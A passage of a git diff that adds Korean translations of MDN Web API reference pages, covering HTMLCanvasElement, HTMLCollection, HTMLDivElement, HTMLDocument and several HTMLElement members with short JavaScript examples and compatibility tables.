  • failIfMajorPerformanceCaveat: 시스템 성능이 낮을 경우에 컨텍스트를 생성할지 여부를 나타내는 불리언입니다.
  • +
  • powerPreference: WebGL 컨텍스트에 대해 적합한 GPU 구성이 무엇인지를 나타내는 유저 에이전트에 대한 힌트입니다. 가능한 값은 다음과 같습니다. +
      +
    • "default": 유저 에이전트가 가장 적합한 GPU 구성을 결정하도록 합니다. 기본 값입니다.
    • +
    • "high-performance": 전력 소비보다 렌더링 성능을 우선시합니다.
    • +
    • "low-power": 렌더링 성능보다 전력 절약을 우선시합니다.
    • +
    +
  • +
  • premultipliedAlpha: 페이지 컴포지터가 미리 곱해진 알파를 갖는 컬러를 포함하는 드로잉 버퍼를 가정할 것인지 여부를 나타내는 불리언입니다.
  • +
  • preserveDrawingBuffer: 값이 true일 경우 버퍼는 제거되지 않으며 값이 제거되거나 덮어쓰여지기 전까지 유지됩니다.
  • +
  • stencil: 드로잉 버퍼가 최소 8 비트의 스텐실 버퍼를 갖는지 여부를 나타내는 불리언입니다.
  • +
+
+
+ +

반환 값

+ +

{{domxref("RenderingContext")}}는 다음 중 하나입니다.

+ + + +

contextType이 가능한 드로잉 컨텍스트와 일치하지 않으면, null이 반환됩니다.

+ +

예시

+ +

다음 {{HTMLElement("canvas")}} 엘리먼트를 고려해볼 때:

+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

다음 코드를 사용해 캔버스의 2d 컨텍스트를 얻을 수 있습니다.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+
+ +

이제 캔버스에 대한 2D 렌더링 컨텍스트를 갖고 있으며 이 안에 그릴 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML WHATWG')}}최신 스냅샷 {{SpecName('HTML5 W3C')}} 이후에 변경사항 없음
{{SpecName('HTML5.1', "semantics-scripting.html#dom-htmlcanvaselement-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5 W3C')}}초기 정의를 포함하는 {{SpecName('HTML WHATWG')}}의 스냅샷.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLCanvasElement.getContext")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/htmlcanvaselement/index.html b/files/ko/web/api/htmlcanvaselement/index.html new file mode 100644 index 0000000000..cd8c23eb12 --- /dev/null +++ b/files/ko/web/api/htmlcanvaselement/index.html @@ -0,0 +1,242 @@ +--- +title: HTMLCanvasElement +slug: Web/API/HTMLCanvasElement +translation_of: Web/API/HTMLCanvasElement +--- +
+
{{APIRef("Canvas API")}}
+
+ +

HTMLCanvasElement 인터페이스는 <canvas> 요소의 레이아웃이나 프레젠테이션을 조작하는 여러 프로퍼티와 메서드들을 제공합니다. 또한 HTMLCanvasElement 인터페이스는 {{domxref("HTMLElement")}} 인터페이스의 여러 프로퍼티와 메서드들을 상속받습니다.

+ +

프로퍼티

+ +

부모객체인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받음.

+ +
+
{{domxref("HTMLCanvasElement.height")}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("height", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다. 속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 150이 사용됩니다.
+
{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("moz-opaque", "canvas")}}를 반영하는 {{jsxref("Boolean")}} 객체입니다. 이는 <canvas>에게 반투명이 인자로 사용될지에 대한 여부를 알려줍니다. 만약 반투명 요소가 없다면, <canvas>의 성능이 최적화될 수 있습니다.
+
{{domxref("HTMLCanvasElement.width")}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("width", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다.  속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 300이 사용됩니다.
+
{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}
+
는 페이지가 프린트 되는 경우 호출되는 함수입니다. 사용자는 해당 객체에 특정 자바스크립트 함수를 등록함으로써, 만약 프린터가 사용되는 경우 <canvas>를 더욱 고해상도로 다시 그리게 할 수 있습니다. 기본적으로 null 값을 갖습니다. 다음의 블로그 글을 참조하세요.
+
 
+
+ +

메서드

+ +

부모객체인 {{domxref("HTMLElement")}} 로부터 메서드를 상속받음.

+ +
+
{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}
+
<canvas> 상의 화면을 실시간 비디오로 캡처할 수 있는 {{domxref("CanvasCaptureMediaStream")}} 을 반환합니다.
+
{{domxref("HTMLCanvasElement.getContext()")}}
+
<canvas> 상의 드로잉 컨텍스트를 반환합니다. 만약 컨텍스트 ID가 지원되지 않는 경우 null값을 반환합니다. 드로잉 컨텍스트는 <canvas> 상에 그림을 그릴 수 있게 해줍니다.  getContext를 "2d" 를 매개 변수로 호출한다면 {{domxref("CanvasRenderingContext2D")}} 객체를 반환할 것이며, "experimental-webgl" (또는 "webgl") 를 매개 변수로 호출한다면 {{domxref("WebGLRenderingContext")}} 객체를 반환할 것입니다. 후자의 컨텍스트의 경우 WebGL 이 구현된 브라우저에서만 사용 가능합니다.
+
{{domxref("HTMLCanvasElement.toDataURL()")}}
+
type 파라미터에서 지정하고 있는 포맷(기본: png) 의 이미지를 나타내는 data-URL을 반환합니다. 반환된 이미지는 96dpi의 해상도를 갖습니다.
+
{{domxref("HTMLCanvasElement.toBlob()")}}
+
<canvas>가 포함하고 있는 이미지를 나타내는 {{domxref("Blob")}} 객체를 생성합니다. 이 파일은 사용자의 브라우저에 따라 디스크나 메모리에 캐싱되거나 저장될 수 있습니다.
+
{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}
+
메인 쓰레드나 워커 쓰레드에서 {{domxref("OffscreenCanvas")}} 객체에게 제어 권한을 넘깁니다.
+
{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}
+
<canvas>가 포함하고 있는 이미지를 나타내는 {{domxref("File")}} 객체를 반환합니다. 이 파일은 메모리 기반의 파일이며, name 의 이름을 갖습니다. 만약 type 이 지정되지 않는다면, 이미지는 기본적으로 image/png의 타입을 갖게 될 것입니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}{{Spec2('Media Capture DOM Elements')}}captureStream() 메서드 추가하기
{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML WHATWG')}} +

getContext() 메서드가 이제 단순히 객체를 반환하지 않고 {{domxref("RenderingContext")}} 를 반환함. 
+ 다음의 메서드가 추가됨: probablySupportsContext(), setContext()transferControlToProxy()

+
{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5 W3C')}}초기 정의
+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (2D context)4.0{{CompatGeckoDesktop('1.9.2')}}9.09.0 [1]3.1
toBlob()50{{CompatGeckoDesktop('19')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatGeckoDesktop('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (2D context)2.1{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10.0 [1]3.2
webgl context{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} as experimental-webgl{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
toBlob(){{CompatNo}} (bug 67587)50{{CompatGeckoMobile('18')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Opera Mini 5.0 and later has partial support.

+ +

[2] Support for the third parameter, has been added in Gecko 25 only: when used with the "image/jpeg" type, this argument specifies the image quality.

+ +

[3] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

참조

+ + diff --git a/files/ko/web/api/htmlcollection/index.html b/files/ko/web/api/htmlcollection/index.html new file mode 100644 index 0000000000..d5087579b4 --- /dev/null +++ b/files/ko/web/api/htmlcollection/index.html @@ -0,0 +1,96 @@ +--- +title: HTMLCollection +slug: Web/API/HTMLCollection +tags: + - API + - DOM + - HTML DOM + - HTMLCollection + - Interface + - Reference +translation_of: Web/API/HTMLCollection +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLCollection 인터페이스는 요소의 문서 내 순서대로 정렬된 일반 컬렉션({{jsxref("Functions/arguments", "arguments")}}처럼 배열과 유사한 객체)을 나타내며 리스트에서 선택할 때 필요한 메서드와 속성을 제공합니다.

+ +
참고: HTMLCollection의 이름은 현대적 DOM의 이전, 구성요소로 HTML 요소만 지닐 수 있었던 시절에 정해졌습니다.
+ +

HTML DOM 내의 HTMLCollection은 문서가 바뀔 때 실시간으로 업데이트됩니다.

+ +

속성

+ +
+
{{domxref("HTMLCollection.length")}} {{readonlyInline}}
+
컬렉션 항목의 갯수를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("HTMLCollection.item()")}}
+
리스트에서 주어진 인덱스의 노드를 반환합니다. 인덱스가 범위 밖일 경우 {{jsxref("null")}}을 반환합니다.
+
{{domxref("HTMLCollection.namedItem()")}}
+
리스트에서 ID 또는 이름 속성이 주어진 문자열과 일치하는 노드를 반환합니다. 이름 속성 판별은 HTML에서만 최후의 수단으로 쓰이며 참조하는 요소가 name 속성을 지원해야 합니다. 일치하는 요소가 없으면 {{jsxref("null")}}을 반환합니다.
+
+ +

JavaScript에서 사용하기

+ +

HTMLCollection은 구성요소를 이름과 인덱스로 동시에 직접 노출합니다. HTML ID는 :.을 유효한 문자로 포함할 수 있으므로 속성 접근 시에는 괄호 표기법을 사용해야 합니다. HTMLCollection은 배열 스타일 구성요소 접근법과 충돌할 수 있는 순수 숫자 인덱스를 지원하지 않습니다.

+ +
var elem1, elem2;
+
+// document.forms은 HTMLCollection임
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms["named.item.with.periods"];
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}{{ Spec2('DOM2 HTML') }} 
{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}{{ Spec2('DOM1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

같이 보기

+ + diff --git a/files/ko/web/api/htmlcollection/item/index.html b/files/ko/web/api/htmlcollection/item/index.html new file mode 100644 index 0000000000..728aafffbc --- /dev/null +++ b/files/ko/web/api/htmlcollection/item/index.html @@ -0,0 +1,50 @@ +--- +title: HTMLCollection.item +slug: Web/API/HTMLCollection/item +translation_of: Web/API/HTMLCollection/item +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLCollection")}} 의 메소드 item() 은 컬렉션 안의 특정 인덱스에 위치한 노드를 반환합니다.

+ +
+

Note: HTMLCollection은 실시간이기 때문에, DOM을 변경하면 컬렉션 내의 노드도 변경됩니다. 따라서, 한 노드의 인덱스 값이 항상 일정하지는 않습니다. 

+
+ +

Syntax

+ +
var element = HTMLCollection.item(index)
+ +

파라미터

+ +
+
index
+
반환받을 {{domxref("Node")}}의 위치. HTMLCollection에 들어있는 요소들은 도큐먼트에 나타나는 순서와 동일합니다.
+
+ +

반환값

+ +

주어진 인덱스의 {{domxref("Node")}}. index가 0보다 작거나 length 속성보다 크다면 null을 반환합니다.

+ +

참고사항

+ +

item() 메소드는 HTMLCollection으로부터 순서가 매겨진 하나의 요소를 반환합니다. 자바스크립트에서, HTMLCollection을 배열처럼 다루는건 아주 쉽습니다. 아래의 {{anch("Example", "예시")}}를 보세요.

+ +

Example

+ +
var c = document.images;  // HTMLCollection입니다
+var img0 = c.item(0);     // 이렇게 item() 메소드를 이용할 수 있지만
+var img1 = c[1];          // 이렇게 표기하는게 쉽고 더 보편적입니다
+
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLCollection.item")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmldivelement/index.html b/files/ko/web/api/htmldivelement/index.html new file mode 100644 index 0000000000..c694bf6d83 --- /dev/null +++ b/files/ko/web/api/htmldivelement/index.html @@ -0,0 +1,72 @@ +--- +title: HTMLDivElement +slug: Web/API/HTMLDivElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLDivElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLDivElement 인터페이스는 {{domxref("HTMLElement")}} 인터페이스를 확장해, {{htmlelement("div")}} 요소를 조작할 때 사용할 수 있는 추가 속성을 제공합니다.

+ +

{{InheritanceDiagram(600,120)}}

+ +

속성

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}
+
주변 맥락에 대해 요소 콘텐츠의 정렬 위치를 나타내는 {{domxref("DOMString")}}입니다. 가능한 값은 "left", "right", "justify", "center"입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5 W3C")}}와 동일합니다.
{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML5 W3C')}}{{SpecName("DOM2 HTML")}}과 동일합니다.
{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM2 HTML')}}{{SpecName("DOM1")}}과 동일합니다.
{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLDivElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmldocument/index.html b/files/ko/web/api/htmldocument/index.html new file mode 100644 index 0000000000..13e801ad04 --- /dev/null +++ b/files/ko/web/api/htmldocument/index.html @@ -0,0 +1,21 @@ +--- +title: HTMLDocument +slug: Web/API/HTMLDocument +tags: + - API + - HTML DOM + - 레퍼런스 + - 인터페이스 +translation_of: Web/API/HTMLDocument +--- +

{{ APIRef("HTML DOM") }}

+ +

HTMLDocument은 일반적인 (XML) 문서에서 기본적으로 존재하지 않는 특별한 프로퍼티와 메소드에 접근을 제공하는 DOM의 추상 인터페이스입니다. 특히 HTML 문서와 엘리먼트에 관련된 기능을 추가해줍니다.

+ +

코어 {{domxref("document")}} 인터페이스에서 파생되었습니다. 메소드와 프로퍼티는 {{domxref("document")}} 페이지에 포함되어있고 DOM 페이지의 해당 섹션에 구분되어 나열되어있습니다.

+ +

명세

+ + diff --git a/files/ko/web/api/htmlelement/accesskeylabel/index.html b/files/ko/web/api/htmlelement/accesskeylabel/index.html new file mode 100644 index 0000000000..110cf03966 --- /dev/null +++ b/files/ko/web/api/htmlelement/accesskeylabel/index.html @@ -0,0 +1,84 @@ +--- +title: accessKeyLabel +slug: Web/API/HTMLElement/accessKeyLabel +translation_of: Web/API/HTMLElement/accessKeyLabel +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.accessKeyLabel 읽기 전용 속성은 엘리먼트의 할당된 접근키를 나타내는 {{jsxref("String")}} 를 반환합니다. 존재하지 않는 경우 빈 문자열을 반환합니다.

+ +

구문

+ +
label = element.accessKeyLabel
+
+ +

예시

+ +

JavaScript

+ +
var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+  node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+  node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+  var p = document.createElement('p');
+  p.textContent = 'Clicked!';
+  node.parentNode.appendChild(p);
+};
+
+ +

HTML

+ +
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
+
+ +

Result

+ +

{{ EmbedLiveSample('Example') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML WHATWG')}}초기 정의로부터 변경 사항 없음.
{{SpecName('HTML5.1')}}{{Spec2('HTML5.1')}}제거됨. pull w3c/html#144issue w3c/html#99WICG discussion.
{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML5 W3C')}}{{SpecName('HTML WHATWG')}}, 초기 정의의 스냅샷.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLElement.accessKeyLabel")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/htmlelement/click/index.html b/files/ko/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..9c1c8956c0 --- /dev/null +++ b/files/ko/web/api/htmlelement/click/index.html @@ -0,0 +1,47 @@ +--- +title: HTMLElement.click() +slug: Web/API/HTMLElement/click +tags: + - API + - HTML DOM + - HTMLElement + - 레퍼런스 + - 메소드 +translation_of: Web/API/HTMLElement/click +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.click() 메소는 엘리먼트에 마우스 클릭을 시뮬레이션합니다.

+ +

지원하는 엘리먼트({{HTMLElement("input")}} 등)에서 click() 이 사용될 때, 엘리먼트의 클릭 이벤트가 실행됩니다. 그 다음, 다큐먼트 트리(또는 이벤트 체인)에서 더 상위의 엘리먼트로 버블링되며 상위 엘리먼트의 클릭 이벤트를 실행합니다.

+ +

구문

+ +
element.click()
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}{{Spec2('DOM2 HTML')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement.click")}}

diff --git a/files/ko/web/api/htmlelement/contenteditable/index.html b/files/ko/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..8756d6afdf --- /dev/null +++ b/files/ko/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +tags: + - API + - HTML DOM + - HTML element + - Property + - Reference +translation_of: Web/API/HTMLElement/contentEditable +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLElement")}} 요소의 contenteditable 속성은 요소의 편집 가능 여부를 나타냅니다. 열거형 속성으로, 다음 중 하나의 값을 가질 수 있습니다.

+ + + +

{{domxref("HTMLElement.isContentEditable")}} 속성으로 이 속성의 {{jsxref("Boolean")}} 계산값을 얻을 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLElement.contentEditable")}}

+ +

Internet Explorer에서 contenteditable은 {{htmlelement("table")}}, {{htmlelement("col")}}, {{htmlelement("colgroup")}}, {{htmlelement("tbody")}}, {{htmlelement("td")}}, {{htmlelement("tfoot")}}, {{htmlelement("th")}}, {{htmlelement("thead")}}, {{htmlelement("tr")}} 요소에 바로 적용할 수 없습니다. 대신 편집 가능한 {{htmlelement("span")}} 또는 {{htmlelement("div")}} 요소를 표의 각 칸에 배치할 수 있습니다.

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/dataset/index.html b/files/ko/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..2b2a891dca --- /dev/null +++ b/files/ko/web/api/htmlelement/dataset/index.html @@ -0,0 +1,127 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - API + - HTML DOM + - HTMLElement + - HTMLOrForeignElement + - Property + - Read-only + - Reference +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLElement.dataset 읽기 전용 속성은 요소의 사용자 지정 데이터 특성(data-*)에 대한 읽기와 쓰기 접근 방법을 HTML과 DOM 양측에 제공합니다. 반환하는 값은 {{domxref("DOMStringMap")}}으로, 각 데이터 특성마다 하나의 항목을 가집니다. dataset 속성 자체는 읽기 전용이라는 점에 주의하세요. 모든 쓰기 작업은 dataset 안의, 데이터 특성을 나타내는 각각의 속성에 수행해야 합니다. 또한 HTML의 data-이름과, 이에 대응하는 DOM dataset['이름']이름은 서로 일치하지 않으나, 다음 규칙에 따라 유사함을 기억하세요.

+ + + +

아래의 내용과 함께, Using data attributes 아티클에서는 HTML 데이터 속성을 어떻게 쓰는지 안내를 찾을 수 있습니다. 

+ +

Name conversion

+ +

dash-style 에서 camelCase로 변환: 커스텀 데이터 속성의 이름은 아래의 규칙에 따라 {{ domxref("DOMStringMap") }}의 key로 변환됩니다. 

+ + + +

camelCase 에서 dash-style로 변환: key를 속성 이름으로 매핑하는 반대의 변환은 아래의 규칙을 따릅니다.:

+ + + +

이러한 제약 조건은 반드시 두 변환이 서로의 역이 되도록 합니다.

+ +

예를 들어, data-abc-def 라는 이름의 속성은 abcDef 라는 키에 대응합니다.

+ +

Accessing values

+ + + +

Syntax

+ + + +

예시

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
+ +
const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.dataset")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlelement/index.html b/files/ko/web/api/htmlelement/index.html new file mode 100644 index 0000000000..b73e398f7a --- /dev/null +++ b/files/ko/web/api/htmlelement/index.html @@ -0,0 +1,271 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement 인터페이스는 모든 종류의 HTML 요소를 나타냅니다. 일부 요소는 이 인터페이스를 직접 구현하지만 나머지 요소는 HTMLElement를 상속한 자식 인터페이스를 구현합니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

부모인 {{domxref("Element")}}의 속성을 상속합니다. {{domxref("GlobalEventHandlers")}}, {{domxref("TouchEventHandlers")}}의 속성을 구현합니다.

+ +
+
{{domxref("HTMLElement.accessKey")}}
+
요소에 할당된 접근 키를 나타내는 {{domxref("DOMString")}}입니다.
+
{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}
+
요소에 할당된 접근 키를 포함하는 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("HTMLElement.contentEditable")}}
+
요소가 수정 가능하면 "true", 그렇지 않으면 "false" 값을 갖는 {{domxref("DOMString")}}입니다.
+
{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}
+
요소의 콘텐츠가 수정 가능한지 여부를 나타내는 {{domxref("Boolean")}}을 반환합니다.
+
{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}
+
요소와 관련된 콘텍스트 메뉴를 나타내는 {{domxref("HTMLMenuElement")}}입니다. {{jsxref("null")}}일 수 있습니다.
+
{{domxref("HTMLElement.dataset")}} {{readonlyInline}}
+
요소의 사용자 지정 데이터 속성(data-*)을 스크립트에서 읽고 쓸 수 있는 {{domxref("DOMStringMap")}}을 반환합니다.
+
{{domxref("HTMLElement.dir")}}
+
요소의 방향성을 표현하는 전역 속성 dir 을 나타내는 {{domxref("DOMString")}} 을 반환합니다. 가능한 값은 "ltr", "rtl", "auto" 입니다.
+
{{domxref("HTMLElement.draggable")}}
+
요소가 드래그 가능한지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}
+
dropzone 전역 속성을 나타내고 drop 작업에 대한 동작을 설명하는 {{domxref("DOMSettableTokenList")}} 를 반환합니다.
+
{{domxref("HTMLElement.hidden")}}
+
요소가 숨김상태인지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.inert")}}
+
유저 에이전트가 사용자 인터렉션 이벤트, 페이지 내 텍스트 검색("페이지에서 찾기"), 텍스트 선택의 목적으로 주어진 노드가 없는 것처럼 동작해야하는지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.innerText")}}
+
노드와 그 자손의 "렌더링된" 텍스트 컨텐츠를 나타냅니다. getter 로써, 이는 사용자가 커서로 요소의 컨텐츠를 하이라이팅한 후 클립보드로 복사하면 얻을 수 있는 텍스트와 유사합니다.
+
{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}
+
항목 스코프를 나타내는 {{jsxref("Boolean")}} 입니다.
+
{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemId")}} {{experimental_inline}}
+
항목 ID 를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}
+
항목 값을 나타내는 {{jsxref("Object")}} 를 반환합니다.
+
{{domxref("HTMLElement.lang")}}
+
요소의 속성, 텍스트, 컨텐츠의 언어를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.noModule")}}
+
임포트한 스크립트가 모듈 스크립트를 지원하는 유저 에이전트에서 실행될 수 있는지를 나타내는 {{jsxref("Boolean")}} 입니다.
+
{{domxref("HTMLElement.nonce")}}
+
